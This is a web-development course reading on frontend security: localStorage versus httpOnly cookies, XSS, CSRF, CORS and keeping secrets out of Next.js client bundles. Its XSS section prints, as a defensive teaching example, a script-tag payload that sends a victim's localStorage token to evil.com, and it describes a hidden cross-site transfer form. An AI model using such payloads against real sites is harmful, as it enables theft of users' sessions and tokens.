Week 12

TanStack Query

Optimistic updates

Authentication

Data persistance

Security Fundamentals

Practice

Assignment

Frontend Track

TL;DR

This is a reading session focused on awareness - knowing what the different threats are and how they work. You'll see references to topics covered elsewhere in this chapter, connected here into a picture of what frontend security actually means.

localStorage is easy to use but readable by JavaScript. An XSS attack can exfiltrate tokens stored there. Use it for low-stakes applications and prototypes, but understand the risk.

httpOnly cookies cannot be read by JavaScript at all. They're set by the server and sent automatically by the browser. An XSS attack can still run code on the page, but it can't steal the token. This is the preferred pattern for production applications with sensitive data.

The defence-in-depth principle: no single mechanism is sufficient on its own. Use httpOnly cookies to protect tokens, sanitise all rendered HTML to reduce the XSS surface, set SameSite cookie attributes to mitigate CSRF, and keep secrets off the client entirely. Each layer reduces the blast radius of the others failing.

XSS - Cross-Site Scripting

XSS is when an attacker gets their JavaScript to run on your page in the context of another user's session. Once their script is running, it can read cookies, steal tokens from localStorage, make API calls as the victim, and send the results anywhere.

The classic injection is unescaped user input rendered to the DOM. Imagine a blog with a comment form:

<form action="/comments" method="post">
  <input name="comment" />
  <button>Post</button>
</form>

An attacker types this into the input instead of a normal comment:

<script>fetch('<https://evil.com?token=>' + localStorage.getItem('token'))</script>

If the server stores that string and the page later renders all comments by dropping their raw text into HTML, every visitor's browser loads the comment list and runs the attacker's script:

<div class="comments-list">
  <p>Comment 1</p>
  <p>Comment 2</p>
  <!-- Instead of rendering comment 3 as normal text, it gets executed -->
  <p><script>fetch('<https://evil.com?token=>' + localStorage.getItem('token'))</script></p>
</div>

The script runs in the victim's session, reads their token from localStorage, and sends it to evil.com.

<!-- User submitted: <script>fetch('<https://evil.com?token=>' + localStorage.getItem('token'))</script> -->
<p>Welcome, <script>...</script></p>

How React helps: JSX escapes text content by default. If you render {userInput} in JSX, React HTML-encodes it - <script> becomes &lt;script&gt;. You don't get code execution from normal rendering.

Where you're still at risk: dangerouslySetInnerHTML. This prop exists specifically to inject raw HTML, bypassing React's escaping:

// ❌ If userContent contains a <script> tag or an event handler attribute,
// it will execute
<div dangerouslySetInnerHTML={{ __html: userContent }} />

If you must render HTML from user input or a CMS, sanitise it first before passing it to dangerouslySetInnerHTML. Never pass untrusted strings directly.

Other risk surfaces: eval(), new Function(), javascript: URLs, and any library that renders raw HTML strings without sanitisation.

CSRF - Cross-Site Request Forgery

CSRF is when an attacker tricks a logged-in user's browser into making a request to your server. The browser automatically includes the user's cookies with any request to your domain - so if authentication relies only on cookies, a malicious page on another domain can submit forms or make API calls as that user.

Imagine a banking application: the user is logged in (cookie is set). An attacker sends them a link to evil.com, which contains a hidden form that POSTs to bank.com/transfer. The browser sends the POST, the bank's cookie goes with it, and the transfer goes through.

How CSRF tokens protect against this: The server includes a secret, user-specific token in every form. When the form is submitted, the server checks that the token is present and correct. An attacker's page can trigger a cross-origin request, but it cannot read the token from your page (blocked by the browser's same-origin policy), so it can't include a valid one.

How SameSite cookies protect against this: Modern browsers support the SameSite cookie attribute. SameSite=Strict means the cookie is only sent on requests that originate from the same site - cross-origin requests from evil.com won't include it. SameSite=Lax (the browser default for new cookies) blocks cross-origin POST requests but allows cross-origin GET navigation.

Responsibility of a frontend developer: You typically don't implement CSRF protection yourself - it lives on the server. But you need to understand the error. If your backend uses CSRF tokens, you need to include them in your forms and AJAX requests. If you're building with Next.js Server Functions, CSRF protection is handled for you.

CORS - Cross-Origin Resource Sharing

CORS is a browser security mechanism that restricts which origins can make requests to an API. It is enforced by the browser, not the server - but the server controls the policy.

When your frontend at https://myapp.com makes a fetch call to https://api.differentdomain.com, the browser checks the response headers. If the server's response includes:

Access-Control-Allow-Origin: <https://myapp.com>

The browser allows your JavaScript to read the response. If the header is missing or doesn't match, the browser blocks the response and you see a CORS error in the console:

Access to fetch at '<https://api.example.com>' from origin '<https://myapp.com>'
has been blocked by CORS policy.

What to understand: CORS errors are not something you fix on the frontend. The server needs to send the correct Access-Control-Allow-Origin header. When you see a CORS error in development:

  1. The API you're calling hasn't configured CORS to allow your origin
  2. You can proxy requests through your own backend (a Next.js Route Handler) to avoid the browser's restriction
  3. You cannot work around CORS from the browser - that's the point

Why it exists: Without CORS, any website could make authenticated requests to any API using your logged-in session. CORS lets servers opt in to which origins they trust, rather than being open to everyone.

Environment Variable Hygiene

Next.js has a clear rule: variables prefixed with NEXT_PUBLIC_ are baked into the client bundle at build time and visible to anyone who looks at your JavaScript.

# .env.local

# This is server-only - never reaches the browser
STRIPE_SECRET_KEY=sk_live_...

# This is public - inlined into your JS bundle
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_...

The mistake is using NEXT_PUBLIC_ on a secret:

# ❌ Wrong - this key will be visible in the browser's source
NEXT_PUBLIC_OPENAI_API_KEY=sk-...

Once a secret is in the bundle, it's compromised. If that happens you should rotate the key immediately.

What belongs client-side (NEXT_PUBLIC_): public keys (Stripe publishable key, Mapbox token, analytics IDs), base URLs, feature flags - anything you'd be comfortable writing directly into the HTML.

What stays server-side: API keys that have billing or rate limits, database URLs, signing secrets, third-party webhook secrets, anything labelled "secret" or "private" in the API's documentation.

Additional Resources

Reading


The HackYourFuture curriculum is licensed under CC BY-NC-SA 4.0 *https://hackyourfuture.net/*

CC BY-NC-SA 4.0 Icons

Built with ❤️ by the HackYourFuture community · Thank you, contributors

Found a mistake or have a suggestion? Let us know in the feedback form.